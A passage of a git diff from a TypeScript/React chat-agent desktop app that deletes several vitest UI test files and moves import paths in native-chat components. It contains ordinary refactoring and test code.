-vi.mock('../../media/visuals/NativeChatInlineVisual', () => ({
-  NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-}))
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-afterEach(() => {
-  expect(unusedChatLeaves.inlineVisual).not.toHaveBeenCalled()
-  expect(unusedChatLeaves.openSender).not.toHaveBeenCalled()
-})
-import type { NativeChatMessage } from '../../../../../../shared/native-chat/native-chat-types'
-import { MessageRow } from './NativeChatMessageRow'
-import type { NativeChatRewindSurface } from '../actions/use-native-chat-rewind-host'
-import { readNativeChatQuotableSelection } from '../../selection-quotes/native-chat-quote-selection'
-import type { AgentJournalSubmission } from '../../../../../../shared/agent-session/journal/agent-session-journal-types'
-import { agentJournalSubmissionKey } from '../../../../../../shared/agent-session/journal/agent-session-journal-item-key'
-import { useStructuredAgentSessionDeliveryNotices } from '../../session/structured/delivery/use-structured-agent-session-delivery-notices'
-
-const confirm = vi.hoisted(() => vi.fn())
-vi.mock('@/lib/syntax-highlighting/oniguruma', async () => ({
-  loadOniguruma: (await import('@/lib/syntax-highlighting/oniguruma-test-harness'))
-    .loadNodeOniguruma
-}))
-vi.mock('@/components/confirmation-dialog-context', () => ({
-  useConfirmationDialog: () => confirm
-}))
-
-afterEach(cleanup)
-const signInView = { signingIn: false, signIn: vi.fn() }
-const setupView = { signIn: signInView, install: null }
-
-function renderMessage(
-  role: NativeChatMessage['role'],
-  timestamp: number | null = 0,
-  rewind?: NativeChatRewindSurface
-) {
-  return render(
-    <MessageRow
-      message={{
-        id: 'message',
-        role,
-        timestamp,
-        source: 'transcript',
-        blocks: [{ type: 'text', text: 'Message text' }]
-      }}
-      expandSignal={false}
-      onScrollMessageToTop={vi.fn()}
-      rewind={rewind}
-    />
-  )
-}
-
-describe('MessageRow control visibility', () => {
-  it('copies an assistant reply without its visual lines, which mean nothing outside Orca', async () => {
-    const writeClipboardText = vi.fn().mockResolvedValue(undefined)
-    Object.assign(window, { api: { ui: { writeClipboardText } } })
-
-    render(
-      <MessageRow
-        message={{
-          id: 'message',
-          role: 'assistant',
-          timestamp: 0,
-          source: 'transcript',
-          blocks: [
-            {
-              type: 'text',
-              text: 'Here it is.\n\n::orca-visual{file="usage.html" title="Usage"}\n\nDone.'
-            }
-          ]
-        }}
-        expandSignal={false}
-        onScrollMessageToTop={vi.fn()}
-      />
-    )
-    fireEvent.click(screen.getByRole('button', { name: 'Copy message' }))
-
-    await waitFor(() => {
-      expect(writeClipboardText).toHaveBeenCalledWith('Here it is.\n\nDone.')
-    })
-  })
-})
-
-describe('which messages can be quoted', () => {
-  it.each([
-    ['assistant', 'Message text'],
-    ['user', undefined],
-    ['system', undefined]
-  ] as const)('a selection in a %s message', (role, quoted) => {
-    const { container } = renderMessage(role)
-    window.getSelection()!.selectAllChildren(screen.getByText('Message text'))
-
-    expect(readNativeChatQuotableSelection(container)?.text).toBe(quoted)
-  })
-})
-
-describe('what a user message says about its delivery', () => {
-  function RecordedMessage({ submission }: { submission: AgentJournalSubmission }) {
-    const notices = useStructuredAgentSessionDeliveryNotices({
-      pending: [],
-      submissions: [submission],
-      journalItems: [],
-      agentName: 'Codex',
-      startFailures: []
-    })
-    const id = agentJournalSubmissionKey(submission.clientMessageId)
-    return (
-      <MessageRow
-        message={{
-          id,
-          role: 'user',
-          timestamp: 0,
-          source: 'transcript',
-          blocks: [{ type: 'text', text: 'Ignore failures outside this branch.' }]
-        }}
-        expandSignal={false}
-        onScrollMessageToTop={vi.fn()}
-        deliveryNotice={notices.get(id)}
-      />
-    )
-  }
-
-  it('lets a user sign in from the refused message when no composer notice is shown', () => {
-    const { signIn } = signInView
-    render(
-      <NativeChatHostSetupContext.Provider value={setupView}>
-        <RecordedMessage
-          submission={{
-            clientMessageId: 'signed-out',
-            fence: 1,
-            payloadFingerprint: 'signed-out',
-            dispatchState: 'rejected',
-            rejection: { kind: 'notSignedIn' },
-            providerItemId: null,
-            reason: 'Sign in to Pi.',
-            submittedAt: 1,
-            resolvedAt: 2
-          }}
-        />
-      </NativeChatHostSetupContext.Provider>
-    )
-    fireEvent.click(screen.getByRole('button', { name: 'Sign in' }))
-    expect(signIn).toHaveBeenCalledOnce()
-  })
-
-  it.each(['accepted', 'rejected', 'unknown'] as const)(
-    'keeps a recorded steer Sending through handoff until it becomes %s',
-    (dispatchState) => {
-      const held: AgentJournalSubmission = {
-        clientMessageId: 'steer',
-        fence: 1,
-        payloadFingerprint: 'steer',
-        dispatchState: 'pending',
-        providerItemId: null,
-        reason: null,
-        submittedAt: 1,
-        resolvedAt: null,
-        handoverRecorded: true
-      }
-      const { rerender } = render(<RecordedMessage submission={held} />)
-      expect(screen.getByText('Sending…')).toBeInTheDocument()
-      expect(screen.queryByRole('time')).toBeNull()
-
-      const handedOver = { ...held, handedOverAt: 2 }
-      rerender(<RecordedMessage submission={handedOver} />)
-      expect(screen.getByText('Sending…')).toBeInTheDocument()
-
-      rerender(
-        <RecordedMessage
-          submission={{
-            ...handedOver,
-            dispatchState,
-            resolvedAt: 3,
-            reason: dispatchState === 'rejected' ? 'Codex refused the message.' : null
-          }}
-        />
-      )
-      expect(screen.queryByText('Sending…')).toBeNull()
-      expect(screen.getByRole('time')).toBeInTheDocument()
-      if (dispatchState === 'rejected') {
-        expect(screen.getByText('Codex refused the message.')).toBeInTheDocument()
-      }
-    }
-  )
-})
diff --git a/src/renderer/src/components/native-chat/pane/actions/native-chat-header-ownership.test.tsx b/src/renderer/src/components/native-chat/pane/actions/native-chat-header-ownership.test.tsx
deleted file mode 100644
index 9d967d9cec6..00000000000
--- a/src/renderer/src/components/native-chat/pane/actions/native-chat-header-ownership.test.tsx
+++ /dev/null
@@ -1,136 +0,0 @@
-// @vitest-environment happy-dom
-
-import { act, cleanup, fireEvent, render, within } from '@testing-library/react'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import { TooltipProvider } from '@/components/ui/tooltip'
-import { useAppStore } from '@/store'
-
-import type { Tab } from '../../../../../../shared/tab-types'
-import { createTabsSliceMockApi } from '@/store/slices/tabs/tabs-slice-test-harness'
-import { makeTabGroup } from '@/store/slices/tabs/tab-group.test-fixture'
-import {
-  makeFolderWorkspace,
-  makeUnifiedTab
-} from '../../../worktree-jump/worktree-jump-palette-test-fixtures'
-
-import * as history from '../../../right-sidebar/ai-vault/scanning/ai-vault-panel-session-list-request'
-import type { NativeChatCliForkPreparation } from '@/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation'
-import type { NativeChatStructuredViewProps } from '../../native-chat-view-types'
-
-const mocks = vi.hoisted(() => ({ prepare: vi.fn(), launch: vi.fn(), close: vi.fn() }))
-vi.mock('@/store', async () => {
-  const { createTestStore } = await import('@/store/testing/app-store-test-fixture')
-  return { useAppStore: createTestStore() }
-})
-vi.mock('../../NativeChatView', async () => {
-  const { nativeChatPaneHeader } = await import('./NativeChatPaneHeader')
-  return {
-    default: (props: NativeChatStructuredViewProps) => (
-      <div className="native-chat-appearance" data-chat={props.tabId}>
-        {nativeChatPaneHeader(props, 'folder:workspace', 'dark')}
-        <output data-transcript={props.tabId}>{props.sessionId}</output>
-      </div>
-    )
-  }
-})
-vi.mock('@/lib/workspace/tabs/workspace-tab-commands', () => ({
-  dispatchWorkspaceTabCommand: mocks.close
-}))
-vi.mock('@/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation', () => ({
-  prepareNativeChatCliFork: mocks.prepare
-}))
-vi.mock('@/lib/launch-ai-vault-session-and-reveal', () => ({
-  launchAiVaultSessionAndReveal: mocks.launch
-}))
-vi.mock('@/lib/agent-session/resume/history/ai-vault-session-fork-startup', () => ({
-  assertAiVaultCopiedSessionLaunchAllowed: () => {},
-  buildAiVaultForkStartupForWorktree: () => ({ command: 'fixture-fork' })
-}))
-
-import StructuredAgentSessionPaneOverlayLayer from '../routing/StructuredAgentSessionPaneOverlayLayer'
-
-const workspace = 'folder:workspace'
-const initial = useAppStore.getInitialState()
-const fullRequest = vi.spyOn(history, 'resolveAiVaultPanelSessionListRequest')
-
-const testWindow = window
-const originalApi = window.api
-const api = createTabsSliceMockApi()
-vi.stubGlobal('window', testWindow)
-beforeEach(() => {
-  vi.clearAllMocks()
-  Object.assign(window, { api })
-  useAppStore.setState(initial, true)
-  useAppStore.setState({
-    folderWorkspaces: [makeFolderWorkspace({ id: 'workspace', folderPath: '/repo' })]
-  })
-})
-afterEach(() => {
-  cleanup()
-  useAppStore.setState(initial, true)
-  Object.assign(window, { api: originalApi })
-})
-function seedChats(size: number) {
-  const tabs: Tab[] = Array.from({ length: size }, (_, index) => ({
-    ...makeUnifiedTab(`chat-${index}`, workspace, `session-${index}`, `Chat ${index}`),
-    contentType: 'agent-session',
-    agentSessionAgent: 'codex',
-    executionHostId: 'local',
-    groupId: index === size - 1 ? 'second' : 'first'
-  }))
-  const groups = ['first', 'second'].map((id) =>
-    makeTabGroup({
-      id,
-      worktreeId: workspace,
-      tabOrder: tabs.filter((tab) => tab.groupId === id).map((tab) => tab.id),
-      activeTabId: id === 'first' ? 'chat-0' : `chat-${size - 1}`
-    })
-  )
-  useAppStore.setState({
-    unifiedTabsByWorktree: { [workspace]: tabs },
-    groupsByWorktree: { [workspace]: groups },
-    activeGroupIdByWorktree: { [workspace]: 'first' }
-  })
-}
-function overlay(active: boolean) {
-  return (
-    <TooltipProvider>
-      <StructuredAgentSessionPaneOverlayLayer worktreeId={workspace} isWorktreeActive={active} />
-    </TooltipProvider>
-  )
-}
-function chat(container: HTMLElement, id: string) {
-  return within(container).getByText(`session-${id.slice(5)}`).parentElement!
-}
-
-it('keeps the real Continue pending operation disabled across header hide/reveal and launches once', async () => {
-  seedChats(10)
-  const preparation = Promise.withResolvers<NativeChatCliForkPreparation>()
-  mocks.prepare.mockReturnValue(preparation.promise)
-  mocks.launch.mockResolvedValue(undefined)
-  const view = render(overlay(true))
-  const source = chat(view.container, 'chat-0')
-  const button = () => within(source).getByRole('button', { name: 'Continue with Terminal Agent' })
-  expect(fullRequest).not.toHaveBeenCalled()
-  fireEvent.click(button())
-  expect(button().hasAttribute('disabled')).toBe(true)
-  expect(button().getAttribute('aria-busy')).toBe('true')
-  view.rerender(overlay(false))
-  expect(within(source).queryByRole('button')).toBeNull()
-  expect(useAppStore.getState().getTab('chat-0')).not.toBeNull()
-  view.rerender(overlay(true))
-  expect(button().hasAttribute('disabled')).toBe(true)
-  expect(button().getAttribute('aria-busy')).toBe('true')
-  fireEvent.click(button())
-  expect(mocks.prepare).toHaveBeenCalledTimes(1)
-  await act(async () =>
-    preparation.resolve({
-      copied: false,
-      session: { agent: 'codex', sessionId: 'fork', cwd: '/repo', codexHome: null }
-    })
-  )
-  expect(mocks.launch).toHaveBeenCalledTimes(1)
-  expect(button().hasAttribute('disabled')).toBe(false)
-  expect(button().hasAttribute('aria-busy')).toBe(false)
-  expect(fullRequest).toHaveBeenCalledTimes(1)
-})
diff --git a/src/renderer/src/components/native-chat/pane/actions/use-native-chat-hand-off.tsx b/src/renderer/src/components/native-chat/pane/actions/use-native-chat-hand-off.tsx
index f02a53bffa8..1fbf651df4a 100644
--- a/src/renderer/src/components/native-chat/pane/actions/use-native-chat-hand-off.tsx
+++ b/src/renderer/src/components/native-chat/pane/actions/use-native-chat-hand-off.tsx
@@ -1,24 +1,23 @@
 import { toast } from 'sonner'
 import { translate } from '@/i18n/i18n'
 import { withTimeout } from '../../../../../../shared/promise-timeout-fallback'
-import { useCallback, useLayoutEffect, useRef, useState, type ReactNode } from 'react'
-import { useAppStore } from '@/store'
-import { structuredChatTabById } from '@/lib/structured-chat-tab-index'
+import { useCallback, useLayoutEffect, useRef, useState } from 'react'
+import type { ReactNode } from 'react'
+import { useAppStore } from '@/store/index'
+import { structuredChatTabById } from '@/lib/agent-session/tab-identity/structured-chat-tab-index'
 import { useStructuredChatTabConversationName } from '@/runtime/native-chat/naming/structured-conversation-name'
 import { AgentSessionContinuationDialog } from '@/components/agent-session-continuation/AgentSessionContinuationDialog'
-import {
-  buildAgentSessionContinuationPrompt,
-  type AgentSessionContinuationRequest
-} from '@/lib/agent-session/context/agent-session-continuation'
+import { buildAgentSessionContinuationPrompt } from '@/lib/agent-session/context/agent-session-continuation'
+import type { AgentSessionContinuationRequest } from '@/lib/agent-session/context/agent-session-continuation'
 import { isTuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent-config'
 import { callStructuredAgentSession } from '@/runtime/native-chat/requests/structured-agent-session-call'
 import { supportsStructuredAgentSessionContinuationContext } from '@/runtime/native-chat/host-capabilities/structured-agent-session-host-support'
-import type { AgentSessionContinuationContext } from '../../../../../../shared/agent-session/agent-session-wire'
 import { executionHostIdForStructuredTarget } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
+import { buildAgentSessionHandoffContext } from '../../../../../../shared/agent-session-handoff-context'
+import type { AgentSessionContinuationContext } from '../../../../../../shared/agent-session/agent-session-wire'
 import type { NativeChatMessage } from '../../../../../../shared/native-chat/native-chat-types'
 import type { NativeChatStructuredViewProps } from '../../native-chat-view-types'
 import type { NativeChatFileLinkContext } from '../../links/actions/native-chat-file-link-context'
-import { buildAgentSessionHandoffContext } from '../../../../../../shared/agent-session-handoff-context'
 
 export type NativeChatHandOff = {
   /** This chat can seed another agent from its owning workspace. */
diff --git a/src/renderer/src/components/native-chat/pane/actions/use-native-chat-quick-commands-menu.tsx b/src/renderer/src/components/native-chat/pane/actions/use-native-chat-quick-commands-menu.tsx
index 5fb7a2c6a59..e7293a7252f 100644
--- a/src/renderer/src/components/native-chat/pane/actions/use-native-chat-quick-commands-menu.tsx
+++ b/src/renderer/src/components/native-chat/pane/actions/use-native-chat-quick-commands-menu.tsx
@@ -1,13 +1,13 @@
 import { useEffect, useState } from 'react'
 import { useTerminalQuickCommandHosts } from '@/hooks/use-terminal-quick-command-hosts'
 import { useVisibleTerminalQuickCommandHosts } from '@/hooks/use-visible-terminal-quick-command-hosts'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { getIndexedReposById } from '@/store/repos/repository-catalog-index'
 import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants'
 import type { TerminalQuickCommand } from '../../../../../../shared/terminal/quick-commands/terminal-quick-command-types'
-import { runQuickCommandInNewTab } from '@/lib/run-quick-command-in-new-tab'
+import { runQuickCommandInNewTab } from '@/lib/terminal/quick-commands/run-quick-command-in-new-tab'
 import { TerminalQuickCommandsSubmenu } from '../../../terminal-pane/quick-commands/TerminalQuickCommandsSubmenu'
 import { TerminalQuickCommandEditorDialog } from '../../../terminal-pane/quick-commands/TerminalQuickCommandEditorDialog'
 import { createTerminalQuickCommandDraft } from '../../../terminal-quick-commands/TerminalQuickCommandDialog'
diff --git a/src/renderer/src/components/native-chat/pane/ownership/native-chat-runtime-owner.ts b/src/renderer/src/components/native-chat/pane/ownership/native-chat-runtime-owner.ts
index f252d3cdf55..a0761434ace 100644
--- a/src/renderer/src/components/native-chat/pane/ownership/native-chat-runtime-owner.ts
+++ b/src/renderer/src/components/native-chat/pane/ownership/native-chat-runtime-owner.ts
@@ -1,8 +1,8 @@
 import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner'
+import { createNativeChatTabOwnerSelector } from './native-chat-tab-owner'
+import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/agent-session/tab-identity/structured-chat-tab-index'
 import type { WorktreeRuntimeOwnerState } from '@/lib/workspace/ownership/worktree-runtime-owner-state'
 import type { AppState } from '@/store/types'
-import { createNativeChatTabOwnerSelector } from './native-chat-tab-owner'
-import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/structured-chat-tab-index'
 
 export type NativeChatRuntimeOwnerState = Pick<AppState, 'tabsByWorktree'> &
   WorktreeRuntimeOwnerState
diff --git a/src/renderer/src/components/native-chat/pane/ownership/native-chat-tab-owner.ts b/src/renderer/src/components/native-chat/pane/ownership/native-chat-tab-owner.ts
index 9885da1fa04..d7924c868bf 100644
--- a/src/renderer/src/components/native-chat/pane/ownership/native-chat-tab-owner.ts
+++ b/src/renderer/src/components/native-chat/pane/ownership/native-chat-tab-owner.ts
@@ -1,7 +1,7 @@
 import {
   chatWorkspaceByTabId,
   chatWorkspaceByTabId as findTerminalTabWorktreeId
-} from '../../../../lib/structured-chat-tab-index'
+} from '../../../../lib/agent-session/tab-identity/structured-chat-tab-index'
 import type { AppState } from '../../../../store/types'
 
 type NativeChatTabOwnerState = Pick<AppState, 'tabsByWorktree'> & {
diff --git a/src/renderer/src/components/native-chat/pane/routing/StructuredAgentSessionPaneOverlayLayer.tsx b/src/renderer/src/components/native-chat/pane/routing/StructuredAgentSessionPaneOverlayLayer.tsx
index 45369165f09..8072d12b811 100644
--- a/src/renderer/src/components/native-chat/pane/routing/StructuredAgentSessionPaneOverlayLayer.tsx
+++ b/src/renderer/src/components/native-chat/pane/routing/StructuredAgentSessionPaneOverlayLayer.tsx
@@ -2,7 +2,7 @@ import { memo, useCallback, useMemo } from 'react'
 import { useShallow } from 'zustand/react/shallow'
 import type { Tab, TabGroup } from '../../../../../../shared/tab-types'
 import { useAppStore } from '@/store'
-import { useThemeBackgroundStore } from '@/store/appearance/theme-background'
+import { useWindowBackdropActive } from '@/app-shell/appearance/window-backdrop'
 import {
   structuredAgentSessionOwnerForTab,
   structuredAgentSessionTargetForHost
@@ -37,7 +37,7 @@ const StructuredAgentSessionOverlaySlot = memo(function StructuredAgentSessionOv
   // Resolve from the tab’s recorded host because workspace ids can collide across hosts.
   const owner = useAppStore((state) => structuredAgentSessionOwnerForTab(state, tab))
   const target = useMemo(() => structuredAgentSessionTargetForHost(owner), [owner])
-  const themeBackgroundActive = useThemeBackgroundStore((state) => state.active)
+  const backdropActive = useWindowBackdropActive()
   if (!target) {
     return null
   }
@@ -45,8 +45,8 @@ const StructuredAgentSessionOverlaySlot = memo(function StructuredAgentSessionOv
     <RetainedPaneHost
       groupId={groupId}
       isVisible={isActive}
-      // Why not over a theme image: the chat is translucent there, so a dim would bleed the image in.
-      dimmed={hasSplitGroups && !isFocusedGroup && !themeBackgroundActive}
+      // Why not over a backdrop: dimming the translucent chat also dims its text.
+      dimmed={hasSplitGroups && !isFocusedGroup && !backdropActive}
       data-structured-agent-session-overlay-tab-id={tab.id}
       onFocusOwningGroup={onFocusOwningGroup}
     >
diff --git a/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.ts b/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.ts
index 10e18a26d0d..53d45011d08 100644
--- a/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.ts
+++ b/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.ts
@@ -1,11 +1,9 @@
-import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import { isFloatingWorkspaceId } from '../../../../../../shared/floating-workspace-worktree'
-import {
-  resolveWorkspaceDirectory,
-  type WorkspaceDirectoryState
-} from '@/lib/workspace/paths/workspace-directory'
+import { resolveWorkspaceDirectory } from '@/lib/workspace/paths/workspace-directory'
+import type { WorkspaceDirectoryState } from '@/lib/workspace/paths/workspace-directory'
+import { firstRegisteredStructuredChatTab } from '@/lib/agent-session/tab-identity/structured-chat-tab-index'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import type { StructuredSessionLaunchDirectory } from '@/store/slices/agent-status/structured-session-launch-directories'
-import { firstRegisteredStructuredChatTab } from '@/lib/structured-chat-tab-index'
 
 type NativeChatDirectoryTab = {
   id: string
diff --git a/src/renderer/src/components/native-chat/pane/routing/use-native-chat-toggle-shortcut.ts b/src/renderer/src/components/native-chat/pane/routing/use-native-chat-toggle-shortcut.ts
index 352c3e4a35b..bdb25e0d802 100644
--- a/src/renderer/src/components/native-chat/pane/routing/use-native-chat-toggle-shortcut.ts
+++ b/src/renderer/src/components/native-chat/pane/routing/use-native-chat-toggle-shortcut.ts
@@ -4,7 +4,7 @@ import { matchesRecentTabSwitcherChord } from '../../../../../../shared/window-s
 import {
   globalShortcutTargetYields,
   findPluginCommandForKeybinding
-} from '@/lib/plugin-command-keybindings'
+} from '@/lib/plugins/commands/plugin-command-keybindings'
 import { getKeybindingContext } from '../../../terminal-workspace-model'
 import {
   ModifierDoubleTapDetector,
diff --git a/src/renderer/src/components/native-chat/queue/NativeChatQueuedMessageList.in-flight.test.tsx b/src/renderer/src/components/native-chat/queue/NativeChatQueuedMessageList.in-flight.test.tsx
deleted file mode 100644
index 60699c4da8d..00000000000
--- a/src/renderer/src/components/native-chat/queue/NativeChatQueuedMessageList.in-flight.test.tsx
+++ /dev/null
@@ -1,96 +0,0 @@
-// @vitest-environment happy-dom
-
-import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
-import { afterEach, expect, it, vi } from 'vitest'
-
-vi.mock('sonner', () => ({ toast: { error: vi.fn() } }))
-// A card's sender line opens and names agents through modules this test does not exercise.
-vi.mock('@/lib/open-agent-message-sender', () => ({ openAgentMessageSender: vi.fn() }))
-vi.mock('@/runtime/native-chat/naming/structured-conversation-name', () => ({
-  useStructuredChatTabConversationName: () => null
-}))
-vi.mock('../../../store/index', () => {
-  const state = { updateSettings: vi.fn() }
-  const useAppStore = (selector: (value: typeof state) => unknown): unknown => selector(state)
-  useAppStore.getState = () => state
-  return { useAppStore }
-})
-
-import { toast } from 'sonner'
-import { TooltipProvider } from '@/components/ui/tooltip'
-import { NativeChatQueuedMessageList } from './NativeChatQueuedMessageList'
-import { useStructuredAgentSessionQueuedMessages } from './use-structured-agent-session-queued-messages'
-import type { StructuredAgentSessionWrite } from '../session/structured/writes/use-structured-agent-session-mutate'
-import type { AgentSessionQueuedMessage } from '../../../../../shared/agent-session/requests/agent-session-queued-message-wire'
-
-function waitingDraft(messageId: string, position: number): AgentSessionQueuedMessage {
-  return {
-    messageId,
-    position,
-    body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: `${messageId} text` }] },
-    state: 'waiting'
-  }
-}
-
-/** The list over the real controller, held after a Stop, deleting through `write`. */
-function renderHeldQueue(
-  queuedMessages: AgentSessionQueuedMessage[],
-  write: StructuredAgentSessionWrite,
-  mutate = vi.fn(async (..._call: [string, string, Record<string, unknown>]) => null)
-): void {
-  function HeldQueue(): React.JSX.Element {
-    const owner = useStructuredAgentSessionQueuedMessages({
-      admit: () => ({ target: { kind: 'local' }, write: write, mutate: async () => null }),
-      capturePresentation: () => () => true,
-      enabled: true,
-      queuedMessages,
-      queuePause: { reason: 'stopped' },
-      submissions: [],
-      hasPendingPrompt: false,
-      isWorking: false,
-      composerScopeKey: undefined,
-      mutate: mutate,
-      editTransport: { target: { kind: 'local' }, sessionId: 'session', capable: false, write }
-    })
-    return <NativeChatQueuedMessageList chatWorktreeId={null} controller={owner} />
-  }
-  render(
-    <TooltipProvider delayDuration={0}>
-      <HeldQueue />
-    </TooltipProvider>
-  )
-}
-
-afterEach(cleanup)
-
-it('a slow Clear all greys Clear all, Resume and every card until the host answers', async () => {
-  vi.mocked(toast.error).mockClear()
-  const answer = Promise.withResolvers<void>()
-  const write = vi.fn(async () => {
-    await answer.promise
-    return {
-      kind: 'not-done' as const,
-      notice: 'Could not delete',
-      failure: { kind: 'failed' as const }
-    }
-  })
-  renderHeldQueue([waitingDraft('a', 1), waitingDraft('b', 2)], write)
-  const clearAll = () => screen.getByRole('button', { name: 'Clear all' })
-  const controls = () => [
-    clearAll(),
-    screen.getByRole('button', { name: 'Resume' }),
-    ...screen.getAllByRole('button', { name: /^(Delete|Steer|Send|More actions)$/ })
-  ]
-  fireEvent.click(clearAll())
-  fireEvent.click(clearAll())
-  await waitFor(() =>
-    controls().forEach((control) => expect(control).toHaveProperty('disabled', true))
-  )
-  expect(write).toHaveBeenCalledTimes(2)
-  answer.resolve()
-  await waitFor(() =>
-    controls().forEach((control) => expect(control).toHaveProperty('disabled', false))
-  )
-  expect(screen.getAllByRole('listitem')).toHaveLength(2)
-  expect(toast.error).toHaveBeenCalledExactlyOnceWith('Could not delete')
-})
diff --git a/src/renderer/src/components/native-chat/session/attention/structured-attention-dispatch.test.ts b/src/renderer/src/components/native-chat/session/attention/structured-attention-dispatch.test.ts
index e1a53893a12..481dcb61945 100644
--- a/src/renderer/src/components/native-chat/session/attention/structured-attention-dispatch.test.ts
+++ b/src/renderer/src/components/native-chat/session/attention/structured-attention-dispatch.test.ts
@@ -18,11 +18,11 @@ import { isStructuredTab } from '../../../../../../shared/agent-session/view/str
 beforeEach(() => setPresenceGated(false))
 afterEach(() => setPresenceGated(true))
 
-vi.mock('@/store', () => ({ useAppStore: { getState: () => store.getState() } }))
-vi.mock('@/lib/desktop-notification-sound', () => ({
+vi.mock('@/store/index', () => ({ useAppStore: { getState: () => store.getState() } }))
+vi.mock('@/lib/notifications/desktop-notification-sound', () => ({
   playDesktopNotificationSound: vi.fn(async () => false)
 }))
-vi.mock('@/lib/blocked-notification-fallback', () => ({
+vi.mock('@/lib/notifications/blocked-notification-fallback', () => ({
   showBlockedNotificationFallbackToast: vi.fn()
 }))
 
diff --git a/src/renderer/src/components/native-chat/session/options/catalog/native-chat-session-option-discovery.ts b/src/renderer/src/components/native-chat/session/options/catalog/native-chat-session-option-discovery.ts
index 82083821e4e..20433893bb7 100644
--- a/src/renderer/src/components/native-chat/session/options/catalog/native-chat-session-option-discovery.ts
+++ b/src/renderer/src/components/native-chat/session/options/catalog/native-chat-session-option-discovery.ts
@@ -1,6 +1,4 @@
-import type { AgentType } from '../../../../../../../shared/agent-status/contracts/agent-status-types'
 import { createClaudeCatalogOptions } from '../../../../../../../shared/agent-session/options/agent-session-option-catalog-claude-codex'
-import type { CatalogModel } from '../../../../../../../shared/agent-session/options/agent-session-option-catalog-types'
 import { catalogModelsFromModelDiscovery } from '../../../../../../../shared/native-chat/input/native-chat-discovered-catalog-models'
 import {
   getCommitMessageModelDiscoveryHostKeyForLocalRuntime,
@@ -13,19 +11,19 @@ import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-o
 import {
   getLocalProjectExecutionRuntimeContext,
   getWslDistroFromPath
-} from '@/lib/local-preflight-context'
+} from '@/runtime/hosts/preflight/local-preflight-context'
 import { discoverRuntimeCommitMessageModels } from '@/runtime/source-control/git/runtime-git-generation-client'
-import {
-  getRuntimeGitScope,
-  type RuntimeGitContext
-} from '@/runtime/source-control/git/runtime-git-client-context'
+import { getRuntimeGitScope } from '@/runtime/source-control/git/runtime-git-client-context'
+import type { RuntimeGitContext } from '@/runtime/source-control/git/runtime-git-client-context'
 import { callStructuredAgentSession } from '@/runtime/native-chat/requests/structured-agent-session-call'
+import { useAppStore } from '@/store/index'
+import { selectFileListWorktree } from '@/store/workspaces/selection/known-worktree-selection'
+import type { AgentType } from '../../../../../../../shared/agent-status/contracts/agent-status-types'
+import type { CatalogModel } from '../../../../../../../shared/agent-session/options/agent-session-option-catalog-types'
 import type {
   AgentSessionModelCatalogResult,
   AgentSessionModelOption
 } from '../../../../../../../shared/agent-session/agent-session-wire'
-import { useAppStore } from '@/store/index'
-import { selectFileListWorktree } from '@/store/workspaces/selection/known-worktree-selection'
 
 export type NativeChatModelDiscoveryContext = {
   hostKey: string
diff --git a/src/renderer/src/components/native-chat/session/status/structured-agent-session-status-bridge-failed-start.test.tsx b/src/renderer/src/components/native-chat/session/status/structured-agent-session-status-bridge-failed-start.test.tsx
deleted file mode 100644
index 99f419e3b7a..00000000000
--- a/src/renderer/src/components/native-chat/session/status/structured-agent-session-status-bridge-failed-start.test.tsx
+++ /dev/null
@@ -1,408 +0,0 @@
-// @vitest-environment happy-dom
-
-// Refused creates publish no host session; bridge launch failures into tab/workspace rows until retry or closure.
-
-import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { act, cleanup, render, waitFor } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi, type Mock } from 'vitest'
-import type {
-  AgentSessionHistoryResult,
-  AgentSessionMutationResult,
-  AgentSessionSendResult,
-  AgentSessionStatusEvent
-} from '../../../../../../shared/agent-session/agent-session-wire'
-
-import type { AgentStatusEntry } from '../../../../../../shared/agent-status/contracts/agent-status-types'
-import { structuredAgentSessionPaneKey } from '../../../../../../shared/agent-session/view/structured-agent-session-projection'
-import type { Tab } from '../../../../../../shared/tab-types'
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
-import type { AppState } from '@/store/types'
-
-type TestStore = {
-  getState: () => AppState
-  setState: (state: Partial<AppState> & { testRuntimeOwner?: string | null }) => void
-}
-
-const mocks = vi.hoisted(() => {
-  const hoisted: {
-    store: TestStore | null
-    call: Mock
-    history: Mock
-    subscribeStatus: Mock
-    unsubscribe: Mock
-    createIntent: Mock
-    retryIntent: Mock
-    restoreIntent: Mock
-    launch: Mock
-  } = {
-    store: null,
-    call: vi.fn(),
-    history: vi.fn(),
-    subscribeStatus: vi.fn(),
-    unsubscribe: vi.fn(),
-    createIntent: vi.fn(),
-    retryIntent: vi.fn(),
-    restoreIntent: vi.fn(),
-    launch: vi.fn()
-  }
-  return hoisted
-})
-
-import { useAppStore } from '@/store'
-mocks.store = useAppStore
-
-vi.mock('sonner', () => ({ toast: { error: vi.fn(), message: vi.fn() } }))
-
-vi.mock('@/lib/workspace/ownership/worktree-runtime-owner', () => ({
-  getExecutionHostIdForWorktree: () => 'local'
-}))
-
-vi.mock('../../../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  callStructuredAgentSession: mocks.call
-}))
-
